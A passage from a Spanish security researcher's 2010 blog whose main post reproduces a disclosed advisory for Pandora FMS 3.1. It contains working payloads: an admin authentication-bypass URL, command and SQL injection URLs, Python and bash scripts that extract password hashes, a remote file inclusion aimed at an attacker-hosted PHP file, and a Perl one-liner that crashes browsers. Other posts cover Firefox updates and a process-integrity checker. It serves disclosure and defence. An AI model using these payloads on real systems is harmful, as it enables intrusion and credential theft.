Sunday 12 December 2010

Último artículo y advisory publicado en 2010

Hola,

Quería compartir con vosotros un par de enlaces, el primero de ellos es un artículo que escribí hace un par de meses aproximadamente en 48Bits sobre un análisis desde el punto de vista de seguridad de cómo trabaja Microsoft IIS 6 y ASP junto con ciertos componentes de terceros que realizan operaciones sobre carpetas y ficheros, y cómo aprovecharlo para conseguir control total sobre el servidor.

http://blog.48bits.com/2010/09/28/iis6-asp-file-upload-for-fun-and-profit/


Por otro lado, la semana pasada publiqué un advisory de seguridad para Pandora FMS, un software de monitorización,  que incluye 6 CVE IDs: CVE-2010-4278, CVE-2010-4279, CVE-2010-4280, CVE-2010-4281, CVE-2010-4282, CVE-2010-4283.
Entre las vulnerabilidades descubiertas se encuentra un bug que permite saltarse la autenticación a la aplicación pudiendo acceder como cualquier usuario -incluido admin- sin conocer las credenciales de acceso, así como varias vulnerabilidades de validación de entrada, tales como OS Command Injection, SQL Injection, Blind SQL Injection,  inclusión de ficheros remota, ejecución de código PHP arbitrario y multiples inclusiones de ficheros locales, que permitirían a un atacante remoto obtener el control total sobre el servidor objetivo. Estas vulnerabilidades fueron notificadas y corregidas, por lo que en el advisory se dan detalles de cómo obtener la nueva versión no afectada por estos bugs.

He posteado los detalles en el blog pero podeis acceder del mismo modo a través de estos enlaces:

http://www.securityfocus.com/bid/45112
http://secunia.com/advisories/42347
http://seclists.org/fulldisclosure/2010/Nov/326


Haciendo un repaso a las conferencias que se han ido celebrando en 2010, este año ha estado muy interesante y he asistido a varias, entre ellas: RootedCON (Madrid), PH-Neutral (Berlín), OWASP AppSec Ireland (Dublin), LaCon (León), hashdays (Lucerne) e IRISSCON (Dublin). Destacar el nivel impresionante que hubo en las charlas de este año de LaCon. Outstanding!

También ha habido tiempo para disfrutar y viajar un poco, por lo que he ido haciendo algunas escapadas, entre ellas a: Paris, Londres, Bruselas, Amsterdam, Milán, Bérgamo, Venecia, Ginebra, Zurich.... y como no... unas merecidas vacaciones en España! :D . Así que espero que el año que viene sea igual o más productivo y poder cumplir mis objetivos para 2011.

Pandora FMS Authentication Bypass and Multiple Input Validation Vulnerabilities

These are the details about a security advisory I released last week:

CVE IDs in this security advisory:

1) Authentication bypass - CVE-2010-4279
2) OS Command Injection - CVE-2010-4278
3) SQL Injection - CVE-2010-4280
4) Blind SQL Injection - CVE-2010-4280
5) Path Traversal - CVE-2010-4281 - CVE-2010-4282 - CVE-2010-4283


[+] Introduction

Pandora FMS (for Pandora Flexible Monitoring System) is a software solution for monitoring computer networks. It allows monitoring in a visual way the status and performance of several parameters from different operating systems, servers, applications and hardware systems such as firewalls, proxies, databases, web servers or routers.

It can be deployed in almost any operating system. It features remote monitoring (WMI, SNMP, TCP. UDP, ICMP, HTTP...) and it can also use agents. An agent is available for each platform. It can also monitor hardware systems with a TCP/IP stack, such as load balancers, routers, network switches, printers or firewalls.

This software has several servers that process and get information from different sources, using WMI for gathering remote Windows information, a predictive server, a plug-in server which makes complex user-defined network tests, an advanced export server to replicate data between different sites of Pandora FMS, a network discovery server, and an SNMP Trap console.

Released under the terms of the GNU General Public License, Pandora FMS is free software.


[+] Description and Proof of Concept


1) Authentication bypass - CVE-2010-4279 - CVSS: 10/10

An attacker could access to any account user, including admin, using the "hash login" authentication process. This kind of authentication method works providing a username and a hash. The issue could be exploited remotely providing a username and the md5 of it when $config['loginhash_pwd'] is empty, that in fact is the default configuration.

Snippet of vulnerable code in index.php:

136 // Hash login process
137 if (! isset ($config['id_user']) && isset ($_GET["loginhash"])) {
138         $loginhash_data = get_parameter("loginhash_data", "");
139         $loginhash_user = get_parameter("loginhash_user", "");
140
141         if ($loginhash_data == md5($loginhash_user.$config["loginhash_pwd"])) {
142                 logon_db ($loginhash_user, $_SERVER['REMOTE_ADDR']);
143                 $_SESSION['id_usuario'] = $loginhash_user;
144                 $config["id_user"] = $loginhash_user;



Proof of concept:

http://servername/pandora_console/index.php?loginhash_data=21232f297a57a5a743894a0e4a801fc3&loginhash_user=admin&loginhash=1

Got it! admin! :)

By default, any installation of this software allows unauthenticated attackers to perform an authentication bypass and a privilege escalation to admin.


1.1) Additionally, a manual modification in order to use the hash_hmac function instead of the weak statement md5 ( $string . $KEY) is encouraged for security purposes.

Snippet of code (index.php, version 3.1.1):

145 // Hash login process
(...)
150         if ($config["loginhash_pwd"] != "" && $loginhash_data == md5($loginhash_user.$config["loginhash_pwd"])) {

In line 150, use hash_hmac("sha256",$loginhash_user,$config["loginhash_pwd"]), instead of md5($lioginhash_user.$config["loginhash_pwd"])


2) OS Command Injection - CVE-2010-4278 - CVSS 9/10

The layout parameter in file operation/agentes/networkmap.php is not properly filtered and allows an attacker to inject OS commands.

Snippet of vulnerable code (file operation/agentes/networkmap.php):

32 $layout = (string) get_parameter ('layout', 'radial');
...
137 $filename_map = $config["attachment_store"]."/networkmap_".$layout;
138 $filename_img = "attachment/networkmap_".$layout."_".$font_size;
139 $filename_dot = $config["attachment_store"]."/networkmap_".$layout;
...
162                 $cmd = "$filter -Tcmapx -o".$filename_map." -Tpng -o".$filename_img." ".$filename_dot;
163                 $result = system ($cmd);

PoC:

http://servername/pandora_console/index.php?login=1&login=1&sec=estado&sec2=operation/agentes/networkmap&refr=0&layout=1;uname%20-a;
http://servername/pandora_console/index.php?login=1&sec=estado&sec2=operation/agentes/networkmap&refr=0&layout=1;id;

If we use vulnerability #1 (that permits bypass the authentication system and login as admin) with this issue, the CVSS will be 10/10.


3) SQL Injection - CVE-2010-4280 - CVSS 8.5/10

The parameter id_group when get_agents_group_json is equal to 1 is vulnerable to SQL Injection attacks.

PoC: http://host/pandora_console/ajax.php?page=operation/agentes/ver_agente&get_agents_group_json=1&id_group=1/**/and/**/1=0/**/union/**/select/**/id_user,password/**/from/**/tusuario


Exploit:

# Pandora Flexible Monitoring System SQL Injection PoC
# Juan Galiana Lara
# Gets the list of users and password from the database
#
#configure cookie&host before use it
#usage
#python sqlinj_users.py
#admin:75b756ff2785ea8bb9ae02c13b6a71f1
#...

import json
import urllib2

headers = {"Cookie": "PHPSESSID=a4s3nf1tqv2fau8s6qhi6rutp9dahe9o"}

url = "http://HOST/pandora_console/ajax.php"
url+= "?page=operation/agentes/ver_agente&get_agents_group_json=1&id_group=1"
url+= "/**/and/**/1=0/**/union/**/select/**/id_user,password/**/from/**/tusuario"

req = urllib2.Request(url,headers=headers)
resp = urllib2.urlopen(req)

users = json.read(resp.read())
for user in users:
    print(user["id_agente"]+":"+user["nombre"])


The fix to these kind of issues was the implementation of a generic filter against sql injection. A proper fix is planned for a major version.


4) Blind SQL Injection - CVE-2010-4280 - CVSS: 8.5/10

The parameter group_id of operation/agentes/estado_agente.php is vulnerable to blind sql injection.


PoC: http://host/pandora_console/index.php?sec=estado&sec2=operation/agentes/estado_agente&group_id=24%29%20and%20%28select%20password%20from%20tusuario%20where%20ord%28substring%28password,1,1%29%29=49%20and%20id_user=0x61646d696e%29%20union%20select%20id_agente,%20nombre%20from%20tagente%20where%20id_grupo%20in%20%281


Exploit:

#!/bin/bash
# Pandora Flexible Monitoring System Blind SQL Injection PoC
# Juan Galiana Lara
# Gets the md5 hash password from a specific user
#
#configure host,cookie&group_id before use it
#usage
#$ ./getpassword.sh
#74b444ff2785ea8bb9ae02c13b6a71f1

HOST="HOST"
TARGET_USER="0x61646d696e" #admin
PATTERN="Interval"
COOKIE="rq842tci6e5ib7t918c6sv1ml4"
CHARSET=(0 1 2 3 4 5 6 7 8 9 a b c d e f g h i j k l m n o p q r s t u v w x y z)
GROUP_ID=2

j=1
while [[ $j -lt 33 ]]; do
    i=0
    while [[ $i -lt ${#CHARSET[@]} ]]; do
        c=$(printf '%d' "'${CHARSET[$i]}")
        URL="http://$HOST/pandora_console/index.php?sec=estado&sec2=operation/agentes/estado_agente&group_id=$GROUP_ID%29%20and%20%28select%20password%20from%20tusuario%20where%20ord%28substring%28password,$j,1%29%29=$c%20and%20id_user=$TARGET_USER%29%20union%20select%20id_agente,%20nombre%20from%20tagente%20where%20id_grupo%20in%20%281";
        curl $URL --cookie "PHPSESSID=$COOKIE" 2> /dev/null | grep -q $PATTERN;
        if [ $? -eq 0 ]; then echo -n ${CHARSET[$i]}; break; fi;
        let i++
    done;
    if [[ $i -eq ${#CHARSET[@]} ]]; then echo "Something went wrong!"; exit 1; fi
    let j++;
done
echo
exit 0


The fix to these kind of issues was the implementation of a generic filter against sql injection. A proper fix is planned for a major version.


5) Path Traversal:

5.1 - PHP File Inclusion (or RFI/LFI: Remote/Local file inclusion) - CVE-2010-4281 -CVE-2010-4282 - CVSS 8.5/10

Parameter 'page' of ajax.php is not properly sanitizing user-supplied input. The function safe_url_extraclean is filtering ':' character, and it doesn't allow to use the string "http://" to create urls, but allows '/' character and an attacker could reference remote resources via Windows UNC files, using //servername//resource/file

Note that the first check in safe_url_extraclean is filtering '://', so we can bypass the filter easily doing http://http://url, and it only strip the first protocol://. However, the last preg_replace strips the : character.

Proof of concept:

UNC: http://servername/pandora_console/ajax.php?page=//server/share/test

As well, ajax.php allows to include any php file in the disk

filesystem: http://servername/pandora_console/ajax.php?page=../../../../../directory/file

Character is not allowed due safe_url_extraclean function filtering, and is not possible to include other files distinct that php files, but still allows . and / characters.


5.2 - PHP File Inclusion (or RFI Remote file inclusion) - CVE-2010-4283 - CVSS 7.9/10

An attacker can inject arbitrary PHP code and execute it remotely due argv[1] parameter is not filtered in file pandora_diag.php.

PoC:
http://servername/pandora_console/extras/pandora_diag.php?argc=2&argv[1]=http://serverattacker/salsa.php

Note: that issue needs register_globals set to On to be exploitable.


5.3 - Path traversal & Local file inclusion vulnerabilities - CVE-2010-4282 - CVSS 6.8/10

An attacker can include arbitrary files of the filesystem via id parameter in file pandora_help.php.


Snippet of vulnerable code:

 24 $id = get_parameter ('id');
 25
 26 /* Possible file locations */
 27 $files = array ($config["homedir"]."/include/help/".$config["language"]."/help_".$id.".php",
 28         $config["homedir"].ENTERPRISE_DIR."/include/help/".$config["language"]."/help_".$id.".php",
 29         $config["homedir"].ENTERPRISE_DIR."/include/help/en/help_".$id.".php",
 30         $config["homedir"]."/include/help/en/help_".$id.".php");
 31 $help_file = '';
 32 foreach ($files as $file) {
 33         if (file_exists ($file)) {
 34                 $help_file = $file;
 35                 break;
 36         }
 37 }
...
 62 require_once ($help_file);


Proof of concept:

http://servername/pandora_console/general/pandora_help.php?id=/../../../../../../../boot.ini

This code is platform dependent bug, you can read more at http://seclists.org/fulldisclosure/2010/Jul/137
Only works in windows systems, an attacker can include local file using ../ characters due parameter id is not filtered
If magic_quotes_gpc is Off, arbitrary files can be included, like boot.ini using NULL character (), if not, only php files are allowed


5.4 - Path traversal & Arbitrary write and delete files - CVE-2010-4282 - CVSS 8.0/10

In file operation/agentes/networkmap.php the 'layout' parameter is handled in an insecure way and it is used to write and delete files on the filesystem.
An attacker could use this parameter to write in arbitrary paths and even remove files.

Snippet of vulnerable code:

32 $layout = (string) get_parameter ('layout', 'radial');
...
137 $filename_map = $config["attachment_store"]."/networkmap_".$layout;
138 $filename_img = "attachment/networkmap_".$layout."_".$font_size;
139 $filename_dot = $config["attachment_store"]."/networkmap_".$layout;
...
157         $fh = @fopen ($filename_dot, 'w');
158         if ($fh === false) {
159                 $result = false;
160         } else {
161                 fwrite ($fh, $graph);
162                 $cmd = "$filter -Tcmapx -o".$filename_map." -Tpng -o".$filename_img." ".$filename_dot;
163                 $result = system ($cmd);
164                 fclose ($fh);
165                 unlink ($filename_dot);
166         }
...
178         require ($filename_map);


Character sequences '../' could be used to write files (due -o parameter in lines 162 and 163), as well as potentially remove files (line 157, 161 and 165) or include them (line 178)
As well like in 5.3 this issue is only exploitable in windows environments because the same reason.


[+] Impact

An attacker can execute commands of the operating system, inject remote code in the context of the application, get arbitrary files from the filesystem or extract any data of the database including passwords and confidential information about the monitored network/systems. Also it is possible to bypass the authentication or scale privileges to became admin, gaining full control of the web application and web server. These vulnerabilities have a high impact to the confidentiality, integrity, and availability of the system.


[+] Systems affected

Versions prior and including 3.1 of Pandora FMS are affected


[+] Solution

Apply the security fix for version 3.1: http://sourceforge.net/projects/pandora/files/Pandora%20FMS%203.1/Final%20version%20%28Stable%29/pandorafms_console-3.1_security_patch_13Oct2010.tar.gz/download

Or upgrade to version 3.1.1 from http://sourceforge.net/projects/pandora/files/Pandora%20FMS%203.1/3.1.1/


[+] Timeline

Ago 2010: First contact to vendor
Ago 2010: Confirmation of vendor
Sept 2010: Second contact: SQL Injection vulnerabilities
Sept 2010: Confirmation that the fix will be released on October
Oct 2010: PandoraFMS security patch for 3.1 version released
Oct 2010: Request for CVE numbers
Nov 2010: PandoraFMS version 3.1.1 released
Nov 2010: Disclosure of this advisory


[+] References

Official PandoraFMS site: http://pandorafms.org/
SourceForge PandoraFMS site: http://sourceforge.net/projects/pandora/
Wikipedia entry about PandoraFMS: http://en.wikipedia.org/wiki/Pandora_FMS
Common Vulnerability Scoring System (CVSS) v2 calculator: http://nvd.nist.gov/cvss.cfm?calculator&adv&version=2
Common Vulnerabilities and Exposures (CVE): http://cve.mitre.org/


[+] Credits

These vulnerabilities has been discovered by Juan Galiana Lara - @jgaliana - http://juangaliana.blogspot.com/


Links:

http://www.securityfocus.com/bid/45112
http://secunia.com/advisories/42347
http://seclists.org/fulldisclosure/2010/Nov/326

Wednesday 21 July 2010

Mozilla Firefox 3.6.7 soluciona varias vulnerabilidades críticas

Una nota rápida para comentar esta importante actualización de Firefox a su versión 3.6.7, la cual corregidas varias vulnerabilidades críticas:


Fixed in Firefox 3.6.7


MFSA 2010-47 Cross-origin data leakage from script filename in error messages
MFSA 2010-46 Cross-domain data theft using CSS
MFSA 2010-45 Multiple location bar spoofing vulnerabilities
MFSA 2010-44 Characters mapped to U+FFFD in 8 bit encodings cause subsequent character to vanish
MFSA 2010-43 Same-origin bypass using canvas context
MFSA 2010-42 Cross-origin data disclosure via Web Workers and importScripts
MFSA 2010-41 Remote code execution using malformed PNG image
MFSA 2010-40 nsTreeSelection dangling pointer remote code execution vulnerability
MFSA 2010-39 nsCSSValue::Array index integer overflow
MFSA 2010-38 Arbitrary code execution using SJOW and fast native function
MFSA 2010-37 Plugin parameter EnsureCachedAttrParamArrays remote code execution vulnerability
MFSA 2010-36 Use-after-free error in NodeIterator
MFSA 2010-35 DOM attribute cloning remote code execution vulnerability
MFSA 2010-34 Miscellaneous memory safety hazards (rv:1.9.2.7/ 1.9.1.11)


Haz click en el enlace de cada vulnerabilidad para obtener los detalles técnicos.


Actualización:

Fixed in Firefox 3.6.8


MFSA 2010-48 Dangling pointer crash regression from plugin parameter array fix

Fixed in Firefox 3.6.9


MFSA 2010-63Information leak via XMLHttpRequest statusText
MFSA 2010-62Copy-and-paste or drag-and-drop into designMode document allows XSS
MFSA 2010-61UTF-7 XSS by overriding document charset using <object> type attribute
MFSA 2010-59SJOW creates scope chains ending in outer object
MFSA 2010-58Crash on Mac using fuzzed font in data: URL
MFSA 2010-57Crash and remote code execution in normalizeDocument
MFSA 2010-56Dangling pointer vulnerability in nsTreeContentView
MFSA 2010-55XUL tree removal crash and remote code execution
MFSA 2010-54Dangling pointer vulnerability in nsTreeSelection
MFSA 2010-53Heap buffer overflow in nsTextFrameUtils::TransformText
MFSA 2010-52Windows XP DLL loading vulnerability
MFSA 2010-51Dangling pointer vulnerability using DOM plugin array
MFSA 2010-50Frameset integer overflow vulnerability
MFSA 2010-49Miscellaneous memory safety hazards (rv:1.9.2.9/ 1.9.1.12)



Update it! Check it out: http://www.mozilla.com/ 
Last release available is 3.6.10

Wednesday 7 July 2010

XML Denial of Service sin parchear en Firefox 3.6.6 / 4beta1

Hola,

En la época que estuve trabajando en Internet Security Auditors en Barcelona, escribí un advisory sobre una bug que afectaba a Apple Safari, Opera y Mozilla Firefox.

Se contactó con todos ellos (a principios de año) para enviarles el informe, y poco después Opera y Safari sacaban una nueva versión que corregía el fallo. A día de hoy Mozilla todavía no ha resuelto el bug.

Respecto a Opera podeis descargar la versión 10.60, y en cuanto a Safari la version 5, últimas versiones de ambos navegadores. (Las últimas versiones afectadas fueron Opera 10.10 y Safari  4.0.5)


El caso que me interesa comentar es el de Mozilla Firefox, el informe que se envió contenia información a cerca de como reproducir el bug. Copio algunas partes del mismo:


Descripción:

The XML parser of the browsers Safari, Firefox and Opera are affected by a Stack Overflow (Stack Exhaustion) due to incorrect handling of XML files, resulting in a remote denial of service, crashing the affected users browser.

Proof of Concept:

$ perl -e 'print "<x>"30000' > poc.xml

(Opera crashes at ~7K, Safari at ~9K and Firefox at ~30K)


Aqui se puede ver con más detalle lo que sucede:

+ Safari 4.0.4 on Mac OS X 10.6:

$ gdb /Applications/Safari.app/Contents/MacOS/Safari
GNU gdb 6.3.50-20050815 (Apple version gdb-1346) (Fri Sep 18 20:40:51 UTC 2009)
Copyright 2004 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB.  Type "show warranty" for details.
This GDB was configured as "x86_64-apple-darwin"...Reading symbols for shared libraries .......................... done

(gdb) r
Starting program: /Applications/Safari.app/Contents/MacOS/Safari
Reading symbols for shared libraries .+++++++++++++++++++++++++......................................................................................................... done
Reading symbols for shared libraries . done
Reading symbols for shared libraries . done
Reading symbols for shared libraries . done
Reading symbols for shared libraries . done
Reading symbols for shared libraries . done
Reading symbols for shared libraries . done
Reading symbols for shared libraries . done
Reading symbols for shared libraries . done
Reading symbols for shared libraries .. done
Reading symbols for shared libraries .. done

Program received signal EXC_BAD_ACCESS, Could not access memory.
Reason: KERN_PROTECTION_FAILURE at address: 0x00007fff5f3ffff0
0x00007fff861e2784 in WebCore::InlineFlowBox::placeBoxesVertically ()
(gdb) where 10
#0  0x00007fff861e2784 in WebCore::InlineFlowBox::placeBoxesVertically ()
#1  0x00007fff861e2cdd in WebCore::InlineFlowBox::placeBoxesVertically ()
#2  0x00007fff861e2cdd in WebCore::InlineFlowBox::placeBoxesVertically ()
#3  0x00007fff861e2cdd in WebCore::InlineFlowBox::placeBoxesVertically ()
#4  0x00007fff861e2cdd in WebCore::InlineFlowBox::placeBoxesVertically ()
#5  0x00007fff861e2cdd in WebCore::InlineFlowBox::placeBoxesVertically ()
#6  0x00007fff861e2cdd in WebCore::InlineFlowBox::placeBoxesVertically ()
#7  0x00007fff861e2cdd in WebCore::InlineFlowBox::placeBoxesVertically ()
#8  0x00007fff861e2cdd in WebCore::InlineFlowBox::placeBoxesVertically ()
#9  0x00007fff861e2cdd in WebCore::InlineFlowBox::placeBoxesVertically ()
(More stack frames follow...)
(gdb) i f
Stack level 0, frame at 0x7fff5f4000c0:
 rip = 0x7fff861e2784 in WebCore::InlineFlowBox::placeBoxesVertically(int, int, int, bool, int&, int&, int&, int&); saved rip 0x7fff861e2cdd
 called by frame at 0x7fff5f400230
 Arglist at 0x7fff5f4000b8, args:
 Locals at 0x7fff5f4000b8, Previous frame's sp is 0x7fff5f4000c0
 Saved registers:
  rbx at 0x7fff5f400088, rbp at 0x7fff5f4000b0, r12 at 0x7fff5f400090, r13 at 0x7fff5f400098, r14 at 0x7fff5f4000a0, r15 at 0x7fff5f4000a8, rip at 0x7fff5f4000b8
(gdb) i r
rax            0x7fff5fbfd2c4    140734799794884
rbx            0x1    1
rcx            0xe    14
rdx            0x12    18
rsi            0x0    0
rdi            0x11a0c1420    4731966496
rbp            0x7fff5f4000b0    0x7fff5f4000b0
rsp            0x7fff5f3fff50    0x7fff5f3fff50
r8             0x1    1
r9             0x7fff5fbfd2cc    140734799794892
r10            0x11a231000    4733472768
r11            0x7fff861e94f0    140735443539184
r12            0x100500d68    4300213608
r13            0x119c1d8a8    4727101608
r14            0x11a0c1420    4731966496
r15            0x7fff5f4001d8    140734791418328
rip            0x7fff861e2784    0x7fff861e2784
eflags         0x10206    66054
cs             0x27    39
ss             0x0    0
ds             0x0    0
es             0x0    0
fs             0x0    0
gs             0x0    0
(gdb)



Addition information:

Process:         Safari [51732]
Path:            /Applications/Safari.app/Contents/MacOS/Safari
Identifier:      com.apple.Safari
Version:         4.0.4 (6531.21.10)
Build Info:      WebBrowser-65312110~2
Code Type:       X86-64 (Native)
Parent Process:  launchd [828]

Date/Time:       2010-02-06 12:53:16.908 +0100
OS Version:      Mac OS X 10.6.2 (10C540)
Report Version:  6

(...)

Exception Type:  EXC_BAD_ACCESS (SIGSEGV)
Exception Codes: KERN_PROTECTION_FAILURE at 0x00007fff5f3ffff8
Crashed Thread:  0  Dispatch queue: com.apple.main-thread


+ Firefox 3.6 on Windows XP SP2:

(dfc.f14): Stack overflow - code c00000fd (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00000000 ebx=0332e348 ecx=054d0550 edx=036ee700 esi=00000000 edi=0332e348
eip=100f1338 esp=00033000 ebp=00000000 iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010202
*** ERROR: Symbol file could not be found.  Defaulted to export symbols for C:\Archivos de programa\Mozilla Firefox\xul.dll -
xul!NS_Realloc_P+0x3f68:
100f1338 56              push    esi
Missing image name, possible paged-out or corrupt data.
Missing image name, possible paged-out or corrupt data.
0:000> !analyze -v
(...)
FAULTING_IP:
xul!NS_Realloc_P+3f68
100f1338 56              push    esi

EXCEPTION_RECORD:  ffffffff -- (.exr 0xffffffffffffffff)
ExceptionAddress: 100f1338 (xul!NS_Realloc_P+0x00003f68)
   ExceptionCode: c00000fd (Stack overflow)
  ExceptionFlags: 00000000
NumberParameters: 2
   Parameter[0]: 00000001
   Parameter[1]: 00032ffc

FAULTING_THREAD:  00000f14

PROCESS_NAME:  firefox.exe

ADDITIONAL_DEBUG_TEXT: 
Use '!findthebuild' command to search for the target build information.
If the build information is available, run '!findthebuild -s ; .reload' to set symbol path and load symbols.

MODULE_NAME: xul

FAULTING_MODULE: 7c910000 ntdll

DEBUG_FLR_IMAGE_TIMESTAMP:  4b5101ce

ERROR_CODE: (NTSTATUS) 0xc00000fd - No es posible crear una nueva p gina de seguridad para la pila.

EXCEPTION_CODE: (NTSTATUS) 0xc00000fd - No es posible crear una nueva p gina de seguridad para la pila.

EXCEPTION_PARAMETER1:  00000001

EXCEPTION_PARAMETER2:  00032ffc

DEFAULT_BUCKET_ID:  STACK_OVERFLOW

PRIMARY_PROBLEM_CLASS:  STACK_OVERFLOW

BUGCHECK_STR:  APPLICATION_FAULT_STACK_OVERFLOW_WRONG_SYMBOLS

LAST_CONTROL_TRANSFER:  from 00000000 to 100f1338

TACK_TEXT:             
00000000 00000000 00000000 00000000 00000000 xul!NS_Realloc_P+0x3f68

(...)



El impacto es claro: un atacante remoto puede causar una denegación de servicio a otros usuarios simplemente con visitar un sitio web.


Cuando se envió el informe, desde Mozilla abrieron un bug en su bugzilla, para más tarde marcarlo como duplicado de este otro bug: (CVE-2009-1232) Stack overflow using overly-deep XML tree (DoS), relacionado con XUL, y que más tarde se vió que era un problema generico en el parser XML.

Este bug anda danzando desde 2009, atribuido a Wojciech Pawlikowski, y que según los informes inicialmente afectaba a Firefox 3.0.x, podeis ver los detalles en:

http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-1232
http://www.securityfocus.com/bid/34522


El problema viene porque este bug sigue sin parchear y es perfectamente reproducible en la última versión estable de Firefox 3.6.6 e incluso en la versión beta1 de Firefox 4.

Lo que me ha extrañado es que cerca de arreglarlo, en la beta1 de Firefox 4, es posible reproducir un crash con unos ~20K tags XML anidados, cuando Firefox 3.6.6 necesita ~30K.

Para reproducir el bug simplemente podeis usar:
$ perl -e 'print "<x>"30000' > poc.xml


O visitar uno de estos dos PoCs:

Firefox Remote DoS. Si haces click aqui usando Firefox 3.6.6 / 4beta1 el navegador se cerrará.

Firefox Remote DoS. Si haces click aqui usando Firefox 3.6.6 / 4beta1 el navegador se cerrará.


Espero que para la versión final de Firefox 4 incluyan un fix para este bug.

Tuesday 29 June 2010

Firefox 4 roadmap

Actualizado: Se ha publicado la primera versión beta de Firefox 4, puedes probarla desde http://www.mozilla.com/en-US/firefox/beta/ y leer sobre ella desde http://hacks.mozilla.org/2010/07/firefox-4-beta-1-is-here-whats-in-it-for-web-developers/

Actualizado(2): Se ha publicado la segunda versión beta de Firefox 4, más detalles en: Firefox 4 b2

Actualizado(3): Se ha publicado la tercera versión beta de Firefox 4, más detalles en: Firefox 4 b3 Impresionante el video sobre multi-touch Experimenting with multi-touch

Últimamente estoy siguiendo de cerca el desarrollo de Firefox, y simplemente quiero compartir una nota rápida para dejaros un par de enlaces acerca del roadmap para Firefox 4.

Firefox 4 será publicado con muchas novedades, entre ellas Gecko 2. Pégale un vistazo al video o las slides para enterarte de todas ellas.

Una de estas nuevas características ya está incluida en la actual versión de Firefox, crash protection es una medida que mejora la seguridad y estabilidad del navegador ejecutando los plugins en procesos diferentes, de tal manera, que si falla el plugin no afecte a todo el nevagador. Esta nueva mejora estaba inicialmente planteada para Firefox 3.7, pero ha sido incluida en Firefox 3.6.4 (3.7 fue renombrado a 3.6.4). Ayer mismo, publicaron un update (Firefox 3.6.6) para actualizar el timeout ante la detección de cuelgues de 10 a 45 segundos por temas de compatibilidad con equipos lentos. Esta es la última versión estable actualmente (la version 3.6.5 se la han saltado).

Además, el update de la versión 3.6.4 (now 3.6.6) corrige las siguientes vulnerabilidades (click en el MFSA ID para obtener más información):


Vulnerabilities fixed in Firefox 3.6.4


MFSA 2010-33 User tracking across sites using Math.random()
MFSA 2010-32 Content-Disposition: attachment ignored if Content-Type: multipart also present
MFSA 2010-31 focus() behavior can be used to inject or steal keystrokes
MFSA 2010-30 Integer Overflow in XSLT Node Sorting
MFSA 2010-29 Heap buffer overflow in nsGenericDOMDataNode::SetTextInternal
MFSA 2010-28 Freed object reuse across plugin instances
MFSA 2010-26 Crashes with evidence of memory corruption (rv:1.9.2.4/ 1.9.1.10)

Impact key:
  • Critical: Vulnerability can be used to run attacker code and install software, requiring no user interaction beyond normal browsing.
  • High: Vulnerability can be used to gather sensitive data from sites in other windows or inject data or code into those sites, requiring no more than normal browsing actions.
  • Moderate: Vulnerabilities that would otherwise be High or Critical except they only work in uncommon non-default configurations or require the user to perform complicated and/or unlikely steps.
  • Low: Minor security vulnerabilities such as Denial of Service attacks, minor data leaks, or spoofs. (Undetectable spoofs of SSL indicia would have "High" impact because those are generally used to steal sensitive data intended for other sites.) 


Actualizar es más que recomendable. Seguiremos al tanto de nuevas noticias en cuanto a Firefox 4, a día de hoy se puede probar una versión alpha en http://ftp.mozilla.org/pub/mozilla.org/firefox/nightly/latest-mozilla-central/ o http://nightly.mozilla.org/


Aqui os dejo los enlaces a la presentación por parte de los responsables de Mozilla de Firefox 4:


Ver el video (necesitais un navegador con soporte ogg, Firefox por ejemplo)


Slides:

O descargar las slides en fichero PDF


El video y la presentación fue originalmente publicado en la web del speaker (Mike Beltzner de Mozilla): http://beltzner.ca/mike/2010/05/10/firefox-4-fast-powerful-and-empowering/

    Tuesday 20 April 2010

    Script para comprobar la integridad de procesos en Debian GNU/Linux

    Hola,

    Desde que me uní al Ethical Hacking Team de IBM y me vine a vivir a Dublín, he andado bastante liado y no he dedicado mucho tiempo a postear en el blog ni en twitter, cosa que voy a intentar cambiar poniendome rápidamente al día. Por aqui todo anda de maravilla :)

    Hoy, quiero compartir un script que escribí cuando leí un post de @secbydefault sobre cómo comprobar la integridad de procesos en sistemas basados en rpm (tales como RedHat o CentOS). Lo que hice básicamente es migrar el script que proponían de sistemas RedHat a Debian debido a que varias personas dejaron comentarios en el post interesadas en una versión para Debian y a mi también me interesaba disponer de una versión funcional que funcionara correctamente en mi sistema.

    Lo primero es comentar que haciendo unas pruebas, el script propuesto por @secbydefault falla en ciertas situaciones. Si un atacante en lugar de modificar un binario lo que hace es eliminarlo del sistema de ficheros directamente, el script no parsea adecuadamente los nombres de los binarios. Esta sería la entrada que tomaría el script en caso de que eliminaramos un binario:

    $ perl procy.pl 
    /sbin/init
    (deleted) /usr/sbin/apache2
    /bin/bash
    (deleted) /usr/sbin/apache2
    /bin/bash
    (...)
    etc

    Como se puede ver el script extrae como nombre de binario en caso del proceso de apache2 "(deleted) /usr/sbin/apache2" lo cual es incorrecto. Este fallo, podemos arreglarlo aplicando este fix; modificar las siguientes dos líneas (correspondientes según este link a la 22 y 24):

    $status =~ /-> (.*)$/;
    my $binary = $1 ;

    a:

    $status =~ /->( \(.*\))? (.*)$/;
    my $binary = $2 ;  

    Nota: Avisé a @secbydefault por aquel entonces sobre estos detalles y quedaron en actualizarlo pero nunca lo hicieron.
    UPDATE: ya han actualizado la entrada en SbD, gracias!

    En mi caso, para migrarlo a Debian he traducido el script de perl a bash script, ya que me siento más cómodo con este lenguaje, y usando bash ha quedado bien sencillo :)

    El objetivo es encontrar procesos ejecutandose en la máquina cuyos binarios se hayan modificado, para conseguirlo el funcionamiento básico del sistema es en primer lugar listar los procesos de la máquina mediante ps, a través de /proc/[pid]/exe extraer la ruta del binario en el filesystem y realizar un dpkg -S  para ver en que paquete se encuentra, para seguidamente aplicar debsums y comprobar la integridad del fichero.


    El script para debian hace uso del paquete debsums, el cual se encarga de comprobar la integridad de los ficheros instalados en el sistema por los paquetes mediante sumas de comprobación MD5.

    Un paso necesario antes de usar este script es instalar el paquete debsums y generar las firmas md5, para esto tan sencillo como lanzar el siguiente comando desde usuario root:

    apt-get install debsums && debsums_gen

    Veamos un ejemplo de ejecución en el cual he eliminado (de forma intencionada) el binario /usr/sbin/apache2 y he modificado el binario /usr/sbin/named:

    $./procy.sh
    El proceso [ 11569 /var/ossec/bin/ossec-maild ] no pertenece a ningún paquete

